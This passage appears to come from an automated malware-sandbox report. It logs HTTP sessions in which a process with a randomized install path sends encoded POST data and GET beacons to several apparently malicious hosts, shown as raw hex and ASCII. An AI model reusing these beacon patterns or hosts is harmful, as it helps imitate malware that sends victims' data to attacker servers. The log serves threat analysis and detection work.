74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49723	162.0.238.246	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:15.120706081 CEST	1770	OUT	POST /r48b/ HTTP/1.1 Host: www.mistsui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.mistsui.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.mistsui.top/r48b/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 7a 47 73 53 79 6a 50 33 6b 66 45 72 31 49 52 7a 64 67 78 77 48 32 77 72 65 6a 6c 33 6f 73 30 36 4e 43 75 6e 53 6d 56 6a 64 56 32 4e 57 59 37 4a 61 38 76 6a 39 61 70 79 77 52 73 4d 4b 6a 4c 6b 37 4d 6b 67 78 76 4e 79 58 33 4b 75 66 2f 75 41 54 68 47 6b 69 6e 6e 67 70 41 52 69 53 4c 51 65 33 66 6c 76 53 45 67 59 77 73 66 39 39 30 4a 54 43 55 4b 42 67 2b 4a 4f 53 53 45 2f 4d 38 4c 4f 33 50 78 46 35 78 6f 6d 66 65 66 71 35 46 70 59 32 37 5a 53 34 48 54 4c 4c 71 6e 6c 2f 67 4d 41 4f 79 39 70 77 57 44 76 78 36 64 6c 70 33 77 72 64 30 71 70 2f 56 78 59 55 30 2b 42 4d 2f 52 52 6b 59 73 35 71 2b 30 6a 67 43 67 6f 44 70 38 44 72 69 41 41 6b 63 4d 62 31 77 2f 73 72 62 6e 35 2f 4f 5a 44 58 51 46 4c 4d 43 75 4c 42 4e 59 63 7a 4c 4d 36 68 5a 41 31 2f 4c 79 6d 78 44 4c 6a 4f 63 6a 4b 51 6b 6b 46 34 30 55 76 48 71 52 57 31 50 63 71 36 76 6f 47 47 41 75 35 63 41 70 32 48 71 56 31 4f 2f 61 78 61 66 75 49 72 55 54 6a 70 6a 4a 54 6d 67 44 77 74 4c 46 2b 64 41 39 56 4b 38 4a 31 79 4c 62 4f 53 4c 36 70 77 48 34 [TRUNCATED] Data Ascii: 76=zGsSyjP3kfEr1IRzdgxwH2wrejl3os06NCunSmVjdV2NWY7Ja8vj9apywRsMKjLk7MkgxvNyX3Kuf/uAThGkinngpARiSLQe3flvSEgYwsf990JTCUKBg+JOSSE/M8LO3PxF5xomfefq5FpY27ZS4HTLLqnl/gMAOy9pwWDvx6dlp3wrd0qp/VxYU0+BM/RRkYs5q+0jgCgoDp8DriAAkcMb1w/srbn5/OZDXQFLMCuLBNYczLM6hZA1/LymxDLjOcjKQkkF40UvHqRW1Pcq6voGGAu5cAp2HqV1O/axafuIrUTjpjJTmgDwtLF+dA9VK8J1yLbOSL6pwH4aS43UTk3jgiYHVglBx/A3YMdPcmefwGm25vJwUDC9jjh5g87BsXIBK1igE4bE8kkrpEPBS8f5sfOuEyFwCt1K3AOaqATOgURCTWOsIPiQucFVu4ySk+durcGKurUYdAngS5xBoFoSxiKbgBcOwe0iwc+jvHSywKnduMUToDymDOzkgZlWojyvogm1moRVkSFf/X0negbx/UteT/mU5ddM6GKMrkadQz7RUV3J3/GAsOoNrdY06NN2Wlil8FQCSqhNtKuRTqbfARziwiuEbJ+GbSXznOsv4WRnpXonUcXwsMVILpuWp5fuWcPxoHaKB/24Q6PrqOwVxa86fzG5Bf7dmkVAzLHlCJEnMz1jJBmyopi7kfoIebIkRn5ZKaczlF6wMNSPLFoZqEHXvgr2G9Bw/GqZU0z9Ub4TfmoGD6r+cP6tvp2rHxsyzMXfEhbozV5evdatIrGK4vOPbXWOTiZDncU6e0AOU05g+MD6Lng5E5OjM7wpCocuepKhSrEpkXEPsKwSMzoLGD0NIS4iWKBJpBkVl3Z3PzC68DDbxN5dH8trYWN4ln601/wfcxVZ36lK/FUOvvpRR8TFgCOmZC1DDo9WzhMup5r4gQOeiF3oVuqh3ECnyNW8TwNSsX9VD2JsokFcU9kLPpTnK8Ve5ISrcqDMZrV316UZ9 [TRUNCATED]
Sep 23, 2024 14:38:15.731651068 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:38:15 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49724	162.0.238.246	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:17.654906988 CEST	476	OUT	GET /r48b/?76=+EEyxXn2ifp2lL4tSgcDej4IKTVVubAXRia9ZGYNaFbCIrCUSrCroJ1ltkc3MgDLuvAkyd1hc3+ySf3CEzuTuCrdjxUcb6kt1JtpL21e+JT78DJZMGSekOhJaCk+Ht+qyblm0D0jZ5Dr&mtJD_=fvdlJ2L HTTP/1.1 Host: www.mistsui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:38:18.235691071 CEST	610	IN	HTTP/1.1 404 Not Found Date: Mon, 23 Sep 2024 12:38:18 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49725	198.50.252.64	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:24.603214025 CEST	752	OUT	POST /s5b1/ HTTP/1.1 Host: www.solisbysobha.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solisbysobha.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.solisbysobha.net/s5b1/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 56 64 63 54 61 42 4c 64 6b 69 74 54 6d 41 43 69 45 68 31 31 4f 74 45 46 39 4b 78 70 2f 43 58 7a 54 4b 6a 78 31 57 4f 51 56 68 32 2f 53 70 48 4b 73 51 75 62 6f 45 56 36 46 54 6b 69 32 64 52 46 71 75 78 42 69 79 50 34 78 6a 69 48 35 54 50 78 74 4b 38 63 37 4d 68 4f 70 57 6d 32 58 4b 59 59 68 62 62 55 54 79 2f 63 66 71 73 2b 2f 6a 70 74 41 6d 64 52 6d 6d 64 63 41 44 49 69 77 6d 6d 36 39 6e 54 71 33 52 2b 6d 72 67 66 79 6c 37 79 58 68 67 6a 4c 79 4d 74 39 79 48 4c 65 74 7a 2b 4e 4d 50 69 4d 31 43 57 54 2f 30 2b 61 41 73 35 56 55 66 6b 33 33 2b 70 6c 30 64 33 42 66 68 38 39 58 6d 43 6d 6f 54 51 33 75 68 54 71 74 6a 33 35 79 51 3d 3d Data Ascii: 76=VdcTaBLdkitTmACiEh11OtEF9Kxp/CXzTKjx1WOQVh2/SpHKsQuboEV6FTki2dRFquxBiyP4xjiH5TPxtK8c7MhOpWm2XKYYhbbUTy/cfqs+/jptAmdRmmdcADIiwmm69nTq3R+mrgfyl7yXhgjLyMt9yHLetz+NMPiM1CWT/0+aAs5VUfk33+pl0d3Bfh89XmCmoTQ3uhTqtj35yQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49726	198.50.252.64	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:27.142273903 CEST	772	OUT	POST /s5b1/ HTTP/1.1 Host: www.solisbysobha.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solisbysobha.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.solisbysobha.net/s5b1/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 56 64 63 54 61 42 4c 64 6b 69 74 54 6e 67 79 69 46 47 70 31 66 64 45 43 78 71 78 70 31 69 58 33 54 4b 2f 78 31 53 33 64 55 53 53 2f 52 49 33 4b 74 55 43 62 76 45 56 36 64 44 6b 6a 72 74 52 65 71 75 38 30 69 32 48 34 78 69 47 48 35 57 7a 78 73 39 6f 62 34 38 68 51 77 47 6d 30 61 71 59 59 68 62 62 55 54 32 75 35 66 71 45 2b 2b 54 5a 74 41 43 4a 51 75 47 64 66 42 44 49 69 30 6d 6e 53 39 6e 54 49 33 55 65 66 72 69 33 79 6c 2f 2b 58 6d 7a 37 49 70 63 74 33 32 48 4b 35 71 6a 4c 31 47 2b 36 70 76 52 53 52 34 30 36 6a 46 61 6b 33 4f 39 6f 62 70 76 52 65 77 66 54 33 49 48 68 49 56 6e 47 2b 6c 78 6b 57 78 57 32 41 67 78 57 39 6b 74 4f 51 50 2b 55 51 6f 53 42 67 4c 59 69 52 54 44 45 36 33 66 55 3d Data Ascii: 76=VdcTaBLdkitTngyiFGp1fdECxqxp1iX3TK/x1S3dUSS/RI3KtUCbvEV6dDkjrtRequ80i2H4xiGH5Wzxs9ob48hQwGm0aqYYhbbUT2u5fqE++TZtACJQuGdfBDIi0mnS9nTI3Uefri3yl/+Xmz7Ipct32HK5qjL1G+6pvRSR406jFak3O9obpvRewfT3IHhIVnG+lxkWxW2AgxW9ktOQP+UQoSBgLYiRTDE63fU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49727	198.50.252.64	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:29.694057941 CEST	1785	OUT	POST /s5b1/ HTTP/1.1 Host: www.solisbysobha.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solisbysobha.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.solisbysobha.net/s5b1/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 56 64 63 54 61 42 4c 64 6b 69 74 54 6e 67 79 69 46 47 70 31 66 64 45 43 78 71 78 70 31 69 58 33 54 4b 2f 78 31 53 33 64 55 53 61 2f 52 36 2f 4b 69 54 57 62 75 45 56 36 44 54 6b 6d 72 74 51 47 71 75 31 38 69 32 44 4f 78 67 4f 48 35 77 48 78 72 4d 6f 62 6a 4d 68 51 74 57 6d 31 58 4b 59 42 68 62 71 66 54 79 4b 35 66 71 45 2b 2b 52 42 74 58 47 64 51 6f 47 64 63 41 44 49 6d 77 6d 6d 2f 39 68 37 69 33 55 53 51 71 54 58 79 6c 62 53 58 6a 42 6a 49 30 4d 74 78 7a 48 4b 68 71 6a 58 71 47 36 61 54 76 53 4f 33 34 7a 4f 6a 46 74 68 31 64 38 59 41 39 64 63 43 78 2b 57 53 4a 32 56 44 4e 58 65 4b 76 32 30 74 73 56 43 6e 75 7a 79 6f 6e 70 76 4c 54 73 67 36 6e 69 31 67 62 2b 47 66 41 68 41 41 76 2f 51 77 76 2b 75 62 6c 50 73 47 34 54 6f 51 61 48 4b 62 76 73 54 71 5a 38 6e 4f 70 56 6a 6f 76 44 4c 66 50 32 4e 52 31 79 50 62 61 47 63 55 35 52 75 7a 72 64 39 6c 64 4d 41 68 6d 2b 4d 75 31 6a 61 5a 4e 42 69 4b 48 59 2b 61 6a 6b 56 6c 4d 73 39 71 61 36 6f 72 39 41 70 72 6e 39 44 62 4f 69 46 4a 76 46 63 72 35 30 6f [TRUNCATED] Data Ascii: 76=VdcTaBLdkitTngyiFGp1fdECxqxp1iX3TK/x1S3dUSa/R6/KiTWbuEV6DTkmrtQGqu18i2DOxgOH5wHxrMobjMhQtWm1XKYBhbqfTyK5fqE++RBtXGdQoGdcADImwmm/9h7i3USQqTXylbSXjBjI0MtxzHKhqjXqG6aTvSO34zOjFth1d8YA9dcCx+WSJ2VDNXeKv20tsVCnuzyonpvLTsg6ni1gb+GfAhAAv/Qwv+ublPsG4ToQaHKbvsTqZ8nOpVjovDLfP2NR1yPbaGcU5Ruzrd9ldMAhm+Mu1jaZNBiKHY+ajkVlMs9qa6or9Aprn9DbOiFJvFcr50oHcj9xmpIWWdr4rJKY8M6u0LoZNtGGTob7GaaIMW9uT+4+sdwolNvXHrNJo7E5kPx265nBVPR8ROn27ezLGU6DcKhvjbJlVGDWrbx8HmMm5RxJ9fKYax0NqrjfRisTkdbROvsk+fny5MMnvYJ+HowFR/0LVeJLuqCwZ5HxTfU5HG9hpytVm2havyalmdRGD0Khv5+jDvBp0CEJDunMy/f/fzvpjnk4To3oAOY/0q5R2+gq0xAyEdgY0QWo/pH3vQRluptWgZ9pdULeaz0fWEn4HbFqyTi1cbJQ/XAI4lJQg5ZZ2EVWEWjwpXjOSG7KqQC4dbnb/PmsysOGMT/EMj5V5sZ3Vqg1xgDIHIPaHOo6zlV1APdp1cfD6h7+RHlXl9vDFe+qpVcfxnXlXXwmIXzT2dEffk05zDa1VstO0rf8NmWNCGk31KKl2520W7BnCbbABrfDgR0AzN0Qt+RtCRu8LnZsYVGofe7eRXlksq0X61XnzbnzSjS6Szx1k3t37ZopFKNe2CmipvGYtY0MkOz3/nE3TSrcshs27L5WLdPOViTXfTqqLuwTrOd/iAIv5BW4Uz5FoeUu8+oTD2G8NRP91293GH8NORmMqkLeCVrjI/tHIbbdIjm0O5K43CNaFDzM8jy1Tz0bIm3dUPTbOcRhWoWKpOyYeejaQ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49728	198.50.252.64	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:32.234188080 CEST	481	OUT	GET /s5b1/?mtJD_=fvdlJ2L&76=Yf0zZ3jBoCdhuzLDLj91Ws8HprJqzGXqNpWi9hWRQAr/e4SYtEvUr1BCdCQtsdxZ1OdzkDb6zzma4zXRjMwopMxEpmqXXuUrncqDeB64G5UYzEp6MWYeviVvJyEh+kzS7xrr7DyksnLe HTTP/1.1 Host: www.solisbysobha.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49729	85.159.66.93	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:37.842024088 CEST	764	OUT	POST /hel6/ HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sppsuperplast.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.sppsuperplast.online/hel6/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 6c 37 72 53 75 39 36 41 6a 4b 6d 33 73 7a 35 55 62 54 5a 34 53 34 30 6e 50 73 7a 73 36 6f 65 73 72 45 77 39 68 67 64 48 67 73 56 70 4c 72 34 74 4a 6f 61 56 66 4a 78 78 51 75 74 71 75 35 51 63 58 2f 4f 71 73 50 54 4c 30 34 67 6d 51 72 59 33 44 65 65 37 7a 4c 41 6f 30 54 77 38 68 2f 79 4f 49 65 68 48 6a 52 39 4a 6b 71 49 76 30 76 6a 4d 38 7a 71 2b 6a 62 70 35 64 47 70 56 71 34 6c 49 78 6d 55 51 77 4a 32 42 45 2b 30 31 58 34 57 7a 53 52 73 52 72 7a 52 75 6f 46 48 65 73 64 4d 36 4c 45 4c 45 42 7a 6a 4d 59 38 71 78 30 5a 75 41 62 6d 4d 41 77 48 65 2f 68 59 38 4c 65 4d 44 41 4d 54 35 4b 78 75 78 72 52 2f 43 73 48 67 4c 69 35 51 3d 3d Data Ascii: 76=l7rSu96AjKm3sz5UbTZ4S40nPszs6oesrEw9hgdHgsVpLr4tJoaVfJxxQutqu5QcX/OqsPTL04gmQrY3Dee7zLAo0Tw8h/yOIehHjR9JkqIv0vjM8zq+jbp5dGpVq4lIxmUQwJ2BE+01X4WzSRsRrzRuoFHesdM6LELEBzjMY8qx0ZuAbmMAwHe/hY8LeMDAMT5KxuxrR/CsHgLi5Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49730	85.159.66.93	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:40.958497047 CEST	784	OUT	POST /hel6/ HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sppsuperplast.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.sppsuperplast.online/hel6/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 6c 37 72 53 75 39 36 41 6a 4b 6d 33 74 51 52 55 63 79 5a 34 44 49 30 6b 41 4d 7a 73 6a 59 65 67 72 45 30 39 68 6a 51 41 67 66 78 70 4c 50 77 74 49 70 61 56 59 4a 78 78 62 4f 74 72 71 35 51 43 58 34 47 49 73 4f 76 4c 30 38 77 6d 51 71 6f 33 44 70 69 34 7a 62 41 51 2f 7a 77 36 38 50 79 4f 49 65 68 48 6a 52 70 77 6b 71 51 76 30 2f 7a 4d 39 58 65 35 71 37 70 36 55 6d 70 56 75 34 6c 45 78 6d 56 67 77 49 72 57 45 38 63 31 58 35 6d 7a 53 6b 4d 57 6b 7a 52 6f 31 56 48 49 6b 59 74 69 54 46 7a 4c 5a 43 50 59 66 37 7a 4c 34 50 7a 69 42 45 41 73 75 57 6d 45 6c 61 59 39 4a 71 65 31 4f 53 39 53 38 4d 46 4b 4f 49 6e 47 4b 79 71 6d 76 71 6c 57 50 33 58 72 43 75 5a 46 4a 4f 46 2f 77 33 70 38 32 6f 41 3d Data Ascii: 76=l7rSu96AjKm3tQRUcyZ4DI0kAMzsjYegrE09hjQAgfxpLPwtIpaVYJxxbOtrq5QCX4GIsOvL08wmQqo3Dpi4zbAQ/zw68PyOIehHjRpwkqQv0/zM9Xe5q7p6UmpVu4lExmVgwIrWE8c1X5mzSkMWkzRo1VHIkYtiTFzLZCPYf7zL4PziBEAsuWmElaY9Jqe1OS9S8MFKOInGKyqmvqlWP3XrCuZFJOF/w3p82oA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49731	85.159.66.93	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:43.504518032 CEST	1797	OUT	POST /hel6/ HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sppsuperplast.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.sppsuperplast.online/hel6/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 6c 37 72 53 75 39 36 41 6a 4b 6d 33 74 51 52 55 63 79 5a 34 44 49 30 6b 41 4d 7a 73 6a 59 65 67 72 45 30 39 68 6a 51 41 67 66 35 70 4c 64 6f 74 49 4f 32 56 5a 4a 78 78 48 2b 74 6d 71 35 52 65 58 2b 75 4d 73 4f 6a 62 30 36 73 6d 57 4d 63 33 46 59 69 34 39 62 41 51 77 54 77 37 68 2f 79 68 49 65 78 44 6a 52 35 77 6b 71 51 76 30 39 37 4d 37 44 71 35 73 37 70 35 64 47 6f 48 71 34 6b 52 78 6d 63 59 77 4a 65 72 45 4e 38 31 55 5a 32 7a 42 33 6b 57 37 44 52 71 32 56 47 4c 6b 59 70 44 54 46 75 36 5a 43 37 79 66 38 58 4c 38 71 47 37 53 31 49 51 76 56 4f 65 6d 35 45 4d 4f 35 36 49 4a 44 5a 45 2b 74 78 59 49 49 61 35 4f 42 4f 36 72 50 4e 51 54 6c 66 6c 44 64 52 41 4b 75 6f 64 73 32 4a 33 67 4e 76 37 58 55 39 4e 47 46 2f 7a 64 46 4d 6b 42 57 49 4c 6f 48 65 44 2f 4d 5a 41 4b 6c 69 6e 55 4a 6f 32 59 56 79 32 4d 37 41 50 47 30 56 6c 30 45 51 36 2b 6d 45 35 2f 52 6b 6f 4f 78 33 6a 7a 46 30 38 73 6b 73 32 31 47 55 58 70 44 6e 2f 33 4e 73 67 63 70 45 67 41 37 58 74 79 47 6d 78 59 42 4f 50 4f 62 47 66 4e 69 5a [TRUNCATED] Data Ascii: 